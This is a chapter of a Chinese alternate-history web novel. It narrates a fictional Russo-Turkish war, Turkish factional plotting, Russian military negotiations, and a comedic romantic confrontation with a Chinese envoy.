图片载入中

苏米亚战歌第四章0304

特大字】 【大字】 【中字】 【小字

第四章“俄土战争”#3

大不列颠统一阵线?土耳其共和国,安卡拉。

俄军正式进犯的消息并未震惊三军总部,事实上在全国省份皆没实际进入战争状态的情况下,俄军入侵对民间引发的效应仅止于“强烈要求政府应向世界各国请求严厉制裁俄罗斯”。而安卡拉政府处理此事的态度,也不过相当于圣战组

织在国内引发恐怖攻击的等级──国营媒体简单地对入侵者做了个特集报导、亲

政权名嘴们评断国际将如何严惩俄罗斯,顶多加上一个象征性集结第二波后备部队。

然而在实务方面,教权派得以趁此机会宣扬政教合一的必要性,并利用客将露苏丹透过外交手腕建立的南方诸国军事互信机制染上宗教色彩,试图联合伊斯兰国家对抗“万恶的十字军”。

教权派的自信不无道理,围攻叙利亚就是互信机制奏效的证明,土耳其和南方诸国更是唇亡齿寒的关系,她们甚至还有正在欧洲和俄罗斯作战的大英盟友。

眼下俄罗斯进军对象并非只有西亚,美国与中国不可能默不作声,非盟也在伺机而动,情势之鲜明不在话下。

但是过度自信也成了当局的弱点,而这弱点源自于过去十数年来三不五时就起冲突的边境战争,以及边境战争中的两股势力──安那托利亚军和卡尔梅克军。

在当局看来,世俗派军方选择远离伊斯兰国家而向中国靠拢、通过种种军购案却只换来连年失利,无疑是种莫大的失败。一来连边境战事都只能勉强抗击俄军,二来花了大笔军费灌注在一桶远水上、紧要关头甚至无法及时扑灭家门口的火势,光这两点就使世俗派替自己站稳了挨打的位置。

这样的军方是孱弱的、迫切需要改革的,而身负重任的教权派理当为了全体国民执起改革的大刀,她们自是义不容辞。

另一方面,对于俄罗斯第十七军,也就是长年于新乔治亚国境和安那托利亚军对峙的卡尔梅克军,教权派人士看法是这样的:既然这些俄罗斯人最多只能小胜孱弱的世俗派军队,又何足为惧?

对敌我两军的轻视造成教权派那本该摇摇欲坠的信心相反地膨胀了起来,致使她们虽大权在握,却不自觉地在大敌当前自断臂膀。而事态发展至此,感到忧

心忡忡的却只是那些在教权派底下委屈求全的世俗派低阶文官──这使得部分未

表明立场的政府军受到了动摇。

战云密布的安卡拉政府内部,世俗派官员们伙同多位政府军中级军官代表同时在多个地方召开秘密会议。

“政教合一最大的问题点在于,她们效忠的对象是伊斯兰土耳其,即便祖国亡于她国之手,那些人也会建立下一个伊斯兰土耳其──即便是站在陌生的土地上、组织着陌生的民族。相对于我等以安那托利亚为根、以土耳其民族为本的思想,教权派的弊病在有亡国之虞的现今一览无遗。”

那些不想惹麻烦的军官倒也不是毫无判断力,她们的确不想与任何一派对立,但是对于教权派设计她们心目中的指标──安那托利亚军──这件事却是让每个人愤怒在心口难开。原因不外乎这场局已远远超出众人容许范围,教权派并非针对几个世俗派大头下手,而是以葬送整个军为前提的杀鸡儆猴。

“如各位所知,我们乃世俗派,伊斯兰国家的世俗化一直是我们的努力方向。我们并不是真主的敌人,相反地我们旨在创造兼顾宗教与进步的社会,一个现代化的伊斯兰国家。教权派的不思进取导致她们的政策迂腐且落后,甚至在国难当前轻易抛弃我们最坚强的一支军队,只为巩固她们那不合时宜的信条。”

教权派正将这个社会导回中世纪那信仰优于能力的价值观,一种落后、愚蠢、违反人智的集团意识。尽管人们泰半习惯了现代化生活,一旦长时间保持缄默与顺从,最终无法避免被具有强烈侵略性的伊斯兰主义所同化。这点模煳的良心加上军中大前辈及同胞们遭到肃清式处置,坚定了参与秘议的军官们改革的决心。

“各位,我们绝不否认接下来的行动将升级为世俗派与教权派的战争,倘若各位加入我们,历史可能会将思想自由的各位纳入世俗派旗下,而这是不公平的。即便如此,如果各位和我们一样愤怒,如果各位和我们一样急欲拯救祖国,我等世俗派在此向各位保证,众志将能成城!”

一度被拔去手臂的世俗派在祖国面临内忧外患的当下终于还是扳回一城,即使派系重要将领几乎困于大不里士,本国拥有忧患意识的中级军官们串连起来的势力仍相当惊人。

另一方面,世俗派亦与国内许多右翼组织建立同盟关系,被教权派政府强制解散的青年救国军亦在受邀之列。当然这些组织也清楚所谓的同盟不过是要推她

们上第一线──两派相争再怎么冠冕堂皇终究是政治的一环──即便是在这种情

况下,她们仍然甘愿为其爪牙。

就这样,起义大事紧锣密鼓地进行中,而教权派殊不知大难即将临头。

土耳其名义(预备)第一军进攻叙利亚,名义第二军援救东北,第二军改制第四军暨第一防卫军前往东线,第三军改制第五军暨首都防卫军坐镇安卡拉。两个名义军为教权派领军,改制军亦多有空降;冻结了世俗派的象征人物,使教权派深信她们对内已处于不败之地,再来就剩与俄军周旋到底。

然而她们的敌人并非只有俄罗斯、亚美尼亚、亚塞拜然与叙利亚,博斯普鲁斯海峡的骚动为太平一时的安卡拉捎来了硝烟味十足的宣告:革命卫队举兵了!

“诸位同胞,收复安那托利亚、重建荣耀帝国的时候到了!本人现在就撤下这掩人耳目的名字,以狄奥多拉?巴列奥基娜之名统率全军!来吧,诸位!夺还失土的圣战开始了!”

“艾多琪亚队领命!登陆战最先锋的职责非我队莫属!”

“芙拉维亚队领命!让土耳其狗尝尝拜占庭掷弹兵的威力!”

“佐拉队领命!科穆宁娜团守护司令官阁下、康斯坦汀娜团随我投入前线!”

“新月将引领我军方向!圣母玛丽亚之星将赐给拜占庭荣光的未来!”

“罗马军团,前进──!”

二月十日,正午,保加利亚十五个师团南下攻打已夺取埃迪尔内西部的希腊军队,在这支部队直逼君士坦丁堡以前先行开启战端;同时,俄罗斯南方军的大批空军明目张胆地横渡黑海,对博斯普鲁斯海峡东侧的土耳其伊斯坦布尔省区进行轰炸。自诩为罗马军团的革命卫队趁此良机登陆,一举击溃当地守备部队,兵分七路进行扫荡,直到将土军全数赶至邻省。

十一日,入夜,狄奥多拉?巴列奥基娜宣布收复“祖国”在安那托利亚的首个失土。由于许多城镇暴动不断,革命卫队暂且放弃南下而选择安抚占领区;或许是出于沟通不良,俄军仍然大规模空袭恰纳卡莱、巴勒克埃西尔、布尔萨、亚洛瓦四个座落于马摩拉海周围的省份。狄奥多拉急命和恰纳卡莱对望的防御部队转为攻势、渡海攻向恰纳卡莱,作战失利。

十三日,午后,土耳其掌握入侵安那托利亚的革命卫队数量,调动首都防卫军麾下的两个军团夺回伊斯坦布尔省并加强马摩拉海沿海防御.但是这支八万人的部队到了萨卡里亚省就停下脚步,不满当局的多支部队声明除非安卡拉重新任命原第三军的各级将校,否则她们不会听从中央命令。安卡拉方面持续派遣官员与这些部队交涉,同时从前线作战的名义军抽调一支部队回来,以防交涉无果。

十四日,“情人节行动”,北约联同土空军对革命卫队驻扎地发动密集轰炸,俄空军随后到来,两军在马摩拉海上空多次交锋,双方折损共超过一百五十架战机,其中仅十六架为新锐机种。

十五日,希腊以多艘炮击舰对泰基尔达的革命卫队发动攻击,卫队受损轻微,第三代炮击舰拉米亚号遭受反击沉没。

十七日,俄军攻破土军东北防线,革命卫队趁机同时对萨卡里亚及恰纳卡莱两地发动攻击。此时教权派与世俗派尚未取得共识,八万土军和两万民兵各自为战,使萨卡里亚虽然并未易主,却形成令双方吃足苦头的泥淖区。恰纳卡莱方面土军再度防守成功。

十九日,革命卫队租借数座军用港予俄罗斯南方军,黑海舰队开入马摩拉海,加强革命卫队占领区的防御.

二十二日,俄罗斯对伊拉克宣战,罗斯托夫军南下进攻大不里士,试图阻止准备归返的安那托利亚军。安那托利亚军请求本国发动攻击来分散东南战线之压力,安卡拉方面以俄军入侵东北及西北为由拒绝。

随着入侵者势力逐渐在西侧战线站稳脚步,安卡拉当局总算是返还部分军权给予世俗派将领,形成教权派东向抗敌、世俗派西进退敌的局势。然而此举并不代表两派就此放下成见通力合作,特别是东侧战线迎回齐娜儿上将的唿声水涨船高,竟讽刺地坚定教权派铲除这号人物的决心。

俄伊战争开始的三天后,安那托利亚军在安卡拉的司令部遭到撤除。

§

神圣俄罗斯帝国,卡秋莎皇亲领,库塔伊西。

一场由南方军、黑海舰队及本地防卫军参与的联合作战军议落幕,来自基辅和底比里斯的两位女仆长先后领着女仆们步出军议室,大门敞开又关上,却不见任何一名与会人士离开。半个钟头内,女仆长伊吕娜和女仆长希萝科娃轮番送来一辆辆餐车,香味四溢的餐点沿路袭向守备在军议室外头的二色骑士,其中尤以灰黑色系的萝莉塔骑士受创最为严重。

代理人在殿下身边的蕾娜团长一职、身兼外场指挥官之一的次席尤妮亚从稍

早就有些心浮气躁。一来她们全部来不及吃早餐就从底比里斯赶来,二来这一站又从清晨四点站到现在刚过正午,三来她们一行二十人的正对面就是基辅骑士团的前辈们……看见前辈们纹风不动地守护着军议室,就燃起一股不能轻言放弃的斗志,这斗志又缠绕着自我期许与尊严,无疑地将会替疲惫饥饿的身躯带来更为沉重的精神压力。

此时再加上供军议中的大人物们享用的餐点,就快要把这群幼小骑士逼到极点了。

早知道就别夸下海口要跟前辈们相同待遇……众人脸上若非紧绷至极,就是清楚描绘出这句心里话。

同样对熟食香气颇有微词的还有另一位,那就是人在军议室中负责各方协调的叶廖缅科少将。

人在一种情况下可以轻易把两种不相干的事情完美交织成一块──对那些事

情满怀嫌恶之情的时候。比方说为配合十多岁小姑娘柔性味蕾的酸奶牛肉,以及困于指挥权而无法顺利调度的空中管制队,这两件事攀住她的焦躁神经合而为一,让她很想用力拍桌大喊一声:“开什么玩笑!”然而实际说出口的只能是受困于指挥体系下的软性之词,而这些字句无一不促使她胸中的怒火越烧越旺。

“……罗玛什娜中将阁下,此处和莫斯科相隔一千九百俄里,防卫军本部透过有限情资所做出的判断既迟钝又失准,我们诚心建议您与基辅合作。西方军区的案例是值得参考的例子:当地防卫军受到西方军全面保障,采取仅保留轻装防卫性部队、提供剩余军力全力支援西方军的策略。倘若阁下指挥的防卫军能比照此一模式,非但能提供正在安那托利亚战线奋战的军兵之安全,也能为贵单位带来许多立功机会。”

她很想将繁复的命令传递系统搬出来严词否定,不过对于罗玛什娜这种从帝都分派至此的文官而言,确保制度牢不可破的重要性是优于她们仅有模煳概念的实战情况。将这问题放大来看,可以说黑海防卫军是乐于善尽职责、但希望南方军这仗别去牵扯到她们。

事实上罗玛什娜的界线正是如此。她手上的兵力不多,充其量也就三万人,其中绝大多数还是陆军。除了黑海舰队临时要求她们顶替陆战队的缺,基本上她们是和我方展开的侵略战争无关的单位。虽然说采取保守策略要多拿一颗星星实在难上加难,总好过要她背负跌入山谷的风险奉上军权。

坐于罗玛什娜左侧的阿尔比耶娃少将接受长官附耳,那张干练的四十多岁强人面孔威严地皱起,粗粗的眉毛如盘里的海苔酱一字划开,向正接受希萝科娃亲自上菜的叶廖缅科应答道:

“参谋长阁下,我方知道贵方想要的是我军的预警及侦察机队,也明白贵方将会派遣如占领区维安等准战争行动给我方,然而这两件事却是冲突的。这么说好了,我军宗旨向来不是凭一己之力抵御外敌,无论在进行哪一种非对称战争,我军终将依赖有力的后援来执行任务,其中尤以情报收集为重。而在这份伤亡报告中明确指出,本月四号起,黑海南侧的南方军空中管制队平均每两天产生一架损失,我相信这样的损伤有其必要性,但我方实在无法负担。”

叶廖缅科是个令自己十分骄傲的少烟主义者,唯有社交场合能说动她碰烟草,原因只有一个:她不能绕着会议桌快跑,也不能进靶场或者大吼大叫。和罗玛什娜一派的协商加上无论气味还是口感都使她不甚满意的酸奶牛肉,镇日下来的不顺遂迫使她拿出了这个要命的社交利器。

自从年幼的皇亲殿下移动到隔壁去休息,这张长桌便沉入令人头晕目眩的白雾之中。显然除了后备军以外,连防卫军的大老粗们也是嗜烟和嗜雪茄如命。皇务七课那些娇贵的文官倒是人手一支凉烟、口红擦得水亮,散发出一股即使吸烟也不愿被和旁人视做同类的氛围。由于南方军和皇务院的沟通也不顺利,叶廖缅科不很喜欢那群比起开会更适合穿上比基尼到海滩游乐的年轻官员,但此刻重点不在她们,得先击破罗玛什娜的盾牌才行。

“少将阁下,该报告所取的是总平均值,若您将底下每份报告分开来看,绝大多数的伤亡来自马摩拉海以及土耳其西线都市,而我方所负责的战线乃是土耳其东线。如您所言,针对防卫军的部队特性,我方确实认为可以将占领区的维安行动交付之,而在这些任务中,我方会编制快速反应部队代为支援,其中包含四百五十名具反恐训练的特种部队;此外,亚美尼亚也有南俄佣兵旅在内的三千名士兵随时提供增援。结论是,贵方空中单位执行任务的地点相对安全,新乔治亚的守备及占领区维安亦将获得相当稳健的支持。”

阿尔比耶娃内心对这项说法嗤之以鼻,表面上仍得和直属长官交头接耳一番,假装有在讨论,实则随时准备抛出预想中的对答。她将那盘显然不符自己口味的酸奶牛肉推向桌边给女仆收走,按了按眉心,神情严肃地向对面的叶廖缅科说道:

“阁下,这两件事的重要程度并非口述与简单的数据报告能够诠释,贵方应该提出一份正式的威胁评估再行讨论,特别是这些战线还会继续往土耳其和伊拉克深处推进。”

终于还是不识趣地往罩门攻过来,真令人讨厌。不过这也说明对方黔驴技穷了,再几次军议就能搞定──虽然是预期内的成果,对于期望在本次谈判中顺利解决的叶廖缅科来说却很不能接受。

不同体系出身的文官与半武官拥有强烈的团体意识,导致许多事情难以协调,只能像中央政客谈判桌开个几次几十次来寻求共识。但这里是她妈的前线,可没闲工夫玩弄贵族政治;甚至若是皇亲殿下许可,她宁愿派出精兵控制黑海防卫军各处基地,反正她们目的本来就只在于那些设备完善却只搁置在仓库内的机队。

基于以上理由,早在南下前她就对阿尔比耶娃这位传统军人抱持好感,并计划从中撬开黑海防卫军的铁壁。虽然这位将军的背后还有罗玛什娜发号施令,详述战线之紧张应该能起到撼动效果才是。

皇亲殿下和各部长官皆已露出疲态,现在是派出伏兵的好机会。叶廖缅科朝殿下身旁一位年轻将军颔首使眼色,然后对阿尔比耶娃说道:

“谈及东侧战线之威胁,我想阁下或许有意参考前线将士的经验。露芬萝札妮契娜。”

年轻貌美却真材实料的露芬中将受命起身,眼神透露出和皇务七课那群娇娇文官相反的锐利,在她向两位将军行礼时,叶廖缅科补充道:

“中将于本月初率领阿斯特拉罕部第一三六机甲军团于亚美尼亚东境和土耳

其军战斗,她将详述我军前线所面临最真实的情景。“

在阿尔比耶娃的默许下,露芬接过话语权向防卫军长官们进行简明扼要的报告。这段期间,稍微喘口气的叶廖缅科还是没怎么碰午餐,所谓的喘口气不过是将麻烦的沟通转变成接收土耳其境内的报告。

天蓝色大波浪长发在白烟环绕下轻轻摆放着,那色泽之特殊令阿尔比耶娃感到有些不畅快,但是既然对方言之有物就没道理意气用事。

同样对这头发色颇有微词的还有另一位,那就是人在皇亲殿下身边协助其统整报告的希莉亚。

和自己一模一样的发色照理说是不应该出现在这南方军阵中的,她甚至在很早之前就趁路经阿斯特拉罕时与那位年方二十八的美人将军达成共识,显然萝札二姨的骨肉依然像小时候一样左耳进右耳出。

塔拉索娃家仿佛受诅咒似的代代都有表姐妹修成正果,身为小时候乐于照顾小表妹们、长大后却被其中一只死缠烂打的大表姐,希莉亚除了惊讶露芬年仅二十六就捞到预备军团长一职,脑袋还浮现出她曾经以为只是天方夜谈、如今光是

想起就鸡皮疙瘩的一句话──

‘不管希莉亚姊逃到哪去,我都会找到你,然后嫁给你哦!’

──这句话确实是那位看似成熟稳重又落落大方的少将,每年都会向自己投出的直球。

无论如何,绝对不能让露芬破坏自己和主人的甜蜜南征之旅!

暗自下定决心的希莉亚瞄向主人疲倦的玉容,再瞥了眼后辈蕾娜和卡秋莎皇亲所在的休息室房门,脑海又开始娜塔夏式浪漫了起来。

第四章“俄土战争”#4

伊拉克共和国,大不里士租管区,帕尔萨巴德。

安那托利亚军南撤进入大不里士之后,伊拉克陆军立刻摧毁所有通往亚美尼亚及亚塞拜然的主要道路,并在北方国境上设置多个据点,由十六个步兵旅及两个防空旅防守绵长的边境线。这相当于租管区五成的兵力。

打从这块土地从伊朗手中交由伊拉克“租管”起,德黑兰当局一直没有放弃以武力夺回,双方在这条临时国境线的两侧不断升级驻防武力,情势之险峻更胜签订条约前的两国国境。然而剑拔弩张的气氛没有失控,或该说是来不及失控,土耳其就先对邻国亚美尼亚采取了军事行动。

以土耳其为首所建立的西亚伊斯兰阵线旨在对抗基督教势力入侵,如今俄土战争果真爆发,蕴酿着大战的两伊只得暂且放下国仇家恨。伊拉克驻大不里士的二十万陆军顿时成为抵抗俄军南侵的首要战力。

这批部队是由四分之一的义务役及四分之三的后备军人组成,义务役旅编制约七、八成满,后备役则为满编,炮兵充足,装备配置乃是按照当初和伊朗作战的精锐步兵师为标准,轻重二式机枪的配备率要比一般部队多上四成。她们的作战准则很简单:对手是伊朗就主动进击,对手是俄罗斯则以各个城市为撤退点诱敌深入,避免与绝对空优的敌军正面对决。

起初伊拉克对俄罗斯空军的威胁评估就是非必要不得与之交战,当“传说中”的空舰出现在亚塞拜然境内重创土耳其军,更加奠定这项报告的权威性。无论如何,她们这些西亚国家当中能凭一己之力和军事大国拼空海优的,也只有大英支持的土耳其与美国支持的以色列。眼前就有希腊海军两战几乎溃灭的实例,小国仅有的空海军实力更该谨慎配置。

另一方面,历经二十一世纪前叶的一连串反恐战争,伊拉克陆军对重要大城的看守严格许多,其中本国又优于租管区。较为精锐的常备役部队及空军主力布署在巴格达与摩苏尔两大警备圈,此外尚有针对伊朗边境设置的快速反应部队;

和租管区相比,本国部队的质量要高上不少,特别是在机甲旅和机械化步兵旅方面。

然而,伊拉克的战斗方针却也决定了帕尔萨巴德的悲剧。当俄空军及空舰部队较军方预估时间提前到来时,她们的避战策略致使阿拉斯河南侧的一线市镇直接沦陷,来不及撤出的部分土耳其军队就在这些地方受到了勐烈攻击。

滞留于阿斯兰杜兹和帕尔萨巴德的一万五千名土军士兵事先并未收到后撤通

知,显然俄军的出现吓到了那些伊拉克部队,而要阻止在空中追赶而至的敌人最好办法就是留下活饵。当俄空军在大不里士北方建立起广大的任务空域、由新乔治亚和亚塞拜然两地展开攻势,土耳其军甚至以为她们的战友做足了准备。可是俄军战机几乎没受到攻击就来到她们头顶上,各个基地被轰得体无完肤,就连过时的防空炮声都没打响,遑论地对空飞弹了。于是土军的精锐部队尚未重整态势,就被短暂收留她们的盟友给坑掉大半士气及兵力。

俄军透过亚塞拜然发动的空袭目标乃是东大不里士的帕尔萨巴德─阿尔达比

勒线,相当于阿尔达比勒郡北方三分之二的领土;轰炸线上的重点设施及军用基地几乎被炸个精光,伊拉克军队躲得躲、逃得逃,许多义务役新兵真以为她们玩完了,但老鸟们知道胜负此刻才开始。

罗斯托夫军经亚美尼亚进击西大不里士的同时,亚塞拜然军亦在阿拉斯河南北搭桥整路、建立据点,负责本区攻势的乃是俄军五个部队──来自中央军的三个战队以及第一零七军团麾下的两个机械化步兵旅。第一零七军团负责进攻阿斯兰杜兹、阿尔达比勒,中央军则以亚塞拜然的小股机甲部队为前锋开进帕尔萨巴德。

担当帕尔萨巴德援护火力的并非俄军或亚军之机甲部队,而是二度出发的三艘空舰。谭雅舰队任务分队在东大不里士的首波空袭中占去将近三分之一的火力额度,她们所消耗的飞弹及各式弹药仅为搭载量的半数,意即在伊拉克派出相当规模的空军以前,帕尔萨巴德的制空权依然牢牢掌控在俄军手中。然而伊拉克陆空军困于情报不足而无法立即对谭雅舰队制定反击计划,她们将期望转而投向百年盟友美国,仍未得到有用的资讯。最终,在空军仅提供极度有限的支援情况下,陆军各部只能采取最初的战法,而来不及撤出的土耳其军正好做为序战供她们评断。

几乎丧失重兵器的五千余名土耳其士兵面临士气崩盘,尚且能将一盘散沙重新凝聚起来的,正是亲自殿后的露苏丹中将。

“各队听令!作战时间四个小时!各队自行就邻近位置选择潜伏或设下防线,伏击也好正面抗敌也好,总之在这时限内给我狠狠地教训俄军!能把你们的敌人打到满地找牙最好,否则至少也得打断她们一只腿,让她们无法以最佳状态展开追击!敌人坐享空优、我军啥都没有,这是场不公平的战争!若你们还以安那托利亚军为傲、还惦记着安那托利亚的家人,就给我搬出尊严好好地打一仗!露苏丹?姬拉?巴格拉季昂中将传令,限时抗击开始!”

露苏丹的个人魅力加诸安那托利亚将士的傲气,强而有力地坚定了远在她乡的部队士气;绝大多数士兵接获命令后立刻就定位,奉确信将会到来的南撤战为最终目标、投入与俄军的殊死战。

另一方面,俄军已从东西两侧进入帕尔萨巴德北部的城镇,古斯塔娜战队负责西线,巴格拉季昂战队及安波娃战队负责东线,两军预定在城镇中央会师、南下直取帕尔萨巴德。三位指挥官坐镇于谭雅舰队六号舰的临时指挥部,地面部队由三位副官:伊娜中校、娜姆上校、茵加上校领军。

随着俄军持续深入,空舰部队亦对潜伏于此的敌军展开心战喊话。首先是古斯塔娜上校的录音:

“通告所有伊拉克的士兵与平民!我等俄罗斯中央军正在接管本城,请各位停止抵抗!重复一次,我等俄罗斯中央军……”

就在这则喊话进行到一半,西线讽刺性地响起了首道枪响。

躲藏在俄军行进道路两侧民宅的数名狙击手同时扣下板机,击中了一辆吉普车的正副驾驶、另一辆吉普车的机枪手,失控的车辆翻覆在一间商店前,紧接着响起接连不断的步枪扫射声。

尽管势单力薄的伏兵很快就被镇压,这起反抗却化为土军的行动象征,整个西线相继掀起了零星攻势。

“这里是神圣俄罗斯帝国中央军的米利希娜?A?巴格拉季昂准将!以守圣者安娜塔西亚之名,我军即刻起接管帕尔萨巴德,任何的反抗都将为本城招致极其严重之后果!停止抵抗,否则格杀勿论!”

东线也是在频繁而不贯连的骚动声中展开镇压的序幕。

相较于中规中矩的古斯塔娜战队,此处近卫师的两个战队反制火力相当慑人,且容不下一丝宽容。发起攻击的敌军据点只有全灭的下场,即便附近有平民滞留也照样攻击不误。此举惹恼了部分平民,袭击规模持续扩大,其结果就是伤亡几近失控地直线上升。

然而丧失性命的绝大多数是土军及平民,俄军蒙受的损伤相对而言乃是微乎其微。伤亡差之所以巨大化的原因并非单纯在于装备与素质,尚有另一个因素─

“俄罗斯的盟友、勇敢的伊朗人啊!请务必协助我等清除帕尔萨巴德的过街老鼠!没错,是时候将可恨的伊拉克人和老鼠般的土耳其人赶出这座城市了!本人安?波娃准将代表俄罗斯军方在此承诺,俄罗斯站在伊朗这一边!战争结束后必使大不里士重回伊朗版图!”

租管条约签署已是二十五年前的事情,当初自愿留下来的民众亦属稳定的一群,她们并没有充足的理由化身修罗参与战斗。更何况,姑且不论二十五年后是否再有变数,当初在英美协调下订立的五十年租管期也已过半,就算是多少在意国家主权的民众也没道理毁掉这二十五年来的忍耐。

但是,有一群人不一样。

仇视伊拉克人的伊朗地下组织不一样。

被视为治安隐忧的这些武装份子无时无刻都在寻找滋事机会,如今俄罗斯与伊拉克开战,俄军又做了那些空口无凭的宣言──无论其宣言是否为真,立足点一旦成立,摩拳擦掌着的众组织都将采取行动。

于是乎,土耳其伏兵所要面对的就不单只是持续开入的俄军,还有那些探知她们所在之处的伊朗狂热份子。

此一现象并不仅限于帕尔萨巴德、阿斯兰杜兹以及阿尔比达勒等东线都市,

几乎所有俄军进击的目标都市都出现了爱国者、无政府主义者以及极端伊斯兰主

义者的作乱。

尽管德黑兰方面否认与俄罗斯的盟友说,一道模棱两可的动机已足够使这些蓄势待发已久的组织群起动员。

而这当中亦包含了许多由政府出资及训练的极端份子。

§

神圣俄罗斯帝国,卡秋莎皇亲领,库塔伊西。

叶廖缅科主导的连日交涉总算取得令人满意的结果,使得几乎每天往返俄罗斯南部的苏米亚在回到库塔伊西的临时宅邸时,终于能直直略过气氛沉重的会议室、返回寝房好生休息。

军资金的缺口渐渐补上了,资金来源大抵和初次在伏尔加格勒的会谈相同,国内贵族小气巴拉,蕴酿起事的国外组织则是慷慨大方。然而这笔资金加上本国收入与中央补助,似乎还是喂不饱基辅的头脑。

和当初基辅的金发小不点所提出的七十九亿卢布相比,这些日子的金流量实在是大到令人喘不过气。虽然顺利建立起一套由东亚、东南亚至北非的金流网路,提领这笔钜额的手续费却也相当巨大。而这笔手续费的最主要关系者,正在苏米亚寝室外等候着。

身穿金线深红旗袍搭深紫吊带袜、披着阴郁暗褐色毛皮大衣的来访者见到苏

米亚归来,领着身后四名穿着银线铬绿旗袍的随侍人员一齐行礼。早在踏入库塔伊西便接收此人资料的苏米亚则扬起一贯的浅笑,向前和那人握手。

“梁女士,请原谅我任性地选择此处会面。”

“您多虑了。能一窥皇亲殿下的寝房是我的荣幸。”

希莉亚领两位头头进门,女仆们已将休息区桌椅备妥,两张沙发正对彼此,左右各有两张双人式座椅。苏米亚与骑士们坐于北面,而访客及其随从坐于南面。茶点还未送上,红旗袍下的深紫艳腿高高地翘起,来访者十指交扣于腹部上,以割玻璃般的尖锐高音率先质问道:

“苏米亚殿下,据闻您承诺来自我国境内多个反政府及恐怖主义组织所提出的要求,请就此事给我国政府一个明确的交代。”

脱去大衣而整股隆起的右侧胸形显露出清楚的共产明星,只是那金色的明星究竟赋予哪个方位的光明──华美的红袍讽刺性地模煳了这道问题。

苏米亚脑海浮现工业派贵族们的嘴脸,那些嘴脸和这位东方来的美人一样,净是张让业已成灰的先人摇头叹息的难堪。这股谨慎的轻视唿之欲出,苏米亚将之压在心头,双手搁在沙发扶手上答道:

“近来我方确实在诸多场合与各国人士会面交流,既然此事令贵方存疑,理当深入调查一番。米夏柳德米拉奥芙娜将带领专案小组负责此事。”

坐于主人左侧外缘席的米夏倾身一鞠躬,如画般美丽静谧的动作尚未勾勒出最后一笔,访客旋即露骨地翻了个白眼。

“我不想这么说,毕竟会留下记录;既然殿下装傻,这也是没办法的事。苏米亚殿下,我方掌握的清单中,共有十四个国内反政府及恐怖主义组织在俄罗斯南部和您私下会面,而这些组织近期亦有庞大的金流异动。还请不要用模煳的言词与论点做出回应,我方需要的是明确的交代。”

“就我所知,我方所接触的中国人士泰半为商人及学者,至于反政府组织,的确是有一位身份敏感的人士向我方请求提供医疗技术指导。若贵方需要清单的话。”

苏米亚平直的视线横向扫至右侧内缘席的希莉亚,希莉亚颔首并取出一份资料。但是她正欲起身,无礼的访客再一次打断旁人动作,这次是以粉底厚实的白脸蛋上的细红嘴唇奏出惹人不快的高分贝音量。

“少开我玩笑了!李秋、尹璇、徐娜、华兰,以下停止记录!”

四名随从整齐划一地颔首,坐于主子一侧的李秋与徐娜──反正苏米亚也分不出来这几人细致的小鹅蛋脸差异何在──她们转身来到主子身旁,一人从装饰美丽的银盒子中取出香烟,一人奉上打火机,两人上烟的动作只花三秒钟便迅速完成,再随着主子吐出的第一道白雾返回座位。

轻柔白烟缓缓升起,隐藏在烟雾后方若隐若现的脸庞戏剧性地扭曲。

“苏米亚,我现在暂且放下密使的立场,以朋友的身份询问你:你到底有没有和我国,尤其是我的战区内的叛军往来?”

岂止脸蛋,就连交谈内容也是突然来个戏剧性转折──虽然问题的大方向并未改变。

苏米亚看着那位与其说愤怒不如说任性起来的密使,边思索双方几时成了朋友边做出答复:

“我的回答已经很清楚……”

“苏米亚!”

“诚如前述,我……”

“该死!”

没想到这回连太极都打不上,密使就不耐烦地从沙发上弹起来。苏米亚轻抬右掌示意骑士团稍安勿躁。只见缠绕着烟味的绯色旗袍气唿唿来到苏米亚前,密使在众人面前轻盈一跃,纤细双腿呈跪姿精准地插入苏米亚大腿和沙发间的空隙、整个人伏在苏米亚身上并含着白烟吻了下去。

啪嚓──希莉亚的理智线因着这一幕断裂,好在隔壁的阿芙拉和对面的米夏及布丽姬塔联合眼神制止她,否则这一吻可能就演变成国际问题了。

密使右手托着苏米亚脸庞、左手夹着烟以微弓之姿贴于苏米亚右手背,接连吻了近十秒才松口,旋即又迸出不饶人的尖嗓音:

“非得要这样你才开心吗!只有搞我的时候会把我当朋友吗!”

苏米亚愣愣地看着做出如是发言的密使。此人虽然妆甲厚了点,倒也是个美人儿,加诸其特殊的东方身形与脸孔,没道理抱过却认不出来,然而她对于此人的记忆却仅限于来自中国的密使。为了确认自己的认知无误,苏米亚歪过头去看了看希莉亚等人──包含一脸可能会引发国际问题的希莉亚在内,四人皆给予主人同样不解的神情。

主仆都不清楚的情况,要不是这位密使扯谎,就是其它环节出了问题……思及至此,苏米亚向米夏使了眼色,使到一半又被密使强势地揪住领子吻个乱七八糟。

“这样你爽了吗?爽了吗?爽了可以说了吧!回答我!”

……超级,无敌,强势。

一向奉守攻势主义的苏米亚被密使突如其来的压制与强吻,锐气都被打消了;镇日下来的倦意让她实在不想随之起舞,最终选择顺从那道尖锐的目光。只不过嘴巴并不同意这个方法。

“我说过了……”

盛气凌人叼着烟的密使才听开头,就敏感地动怒并用力压了下屁股。

“苏米亚,你现在耍我就是了!”

“喂……!”

“喂什么喂!你不是最喜欢正上位逆奸吗!”

形象──

“怎么,还是要来个观音坐莲?做下去你就肯说吗?还是要来更激烈的?”

──瞬间灰飞烟灭。

“又来了!什么都不肯说!反正你就是要上我就是了!”

“等等,我什么都没说好吗……”

“少来!你那个眼神!那个隐藏着可怕肉欲……隐藏着下流欲望的眼神!分明就是想要我!”

“我这个是想睡的……”

“想睡我!我就知道!我就知道!啊啊!事已至此,为了祖国!我就忍辱陪你这忘恩负义的女人吧!”

眼见美臀诱人的密使一直线地暴走,苏米亚抓准了反击的契机,对着自个儿脱起旗袍的密使大声喊回去:

“……从头到尾都是你在说啊!这个莫名其妙的痴女!”

密使愣了下,一度停摆的双手在随后赶至的华兰协助下继续脱衣,边脱边回呛:

“居、居然说我是痴女!说我这个大中华人民共和国东部战区的接班人是痴女!我……!”

“你什么你!还没上任就只是个密使!见不得光的密使!痴女密使!”

“呜……!才不是!我才不是痴女!我可是南京梁家的次任当家、梁琴玉!”

华兰优秀的手艺恰时拉开主子旗袍上半身,南京梁家的次任当家就这么在莫斯科罗曼诺娃家的皇亲面前露出硕大白净的雪乳。

气势磅礴地挺着柔软的奶子自报家名的梁琴玉惊觉事态不对,瞬间的羞意突破了厚重的颜面妆甲,整张脸半白半红了起来。正当她弯起双臂欲挡住被冷空气刺到漾出轻微反应的乳头时,脸上挂着笑意的苏米亚及时抓住了她的双腕。

“你这个──”

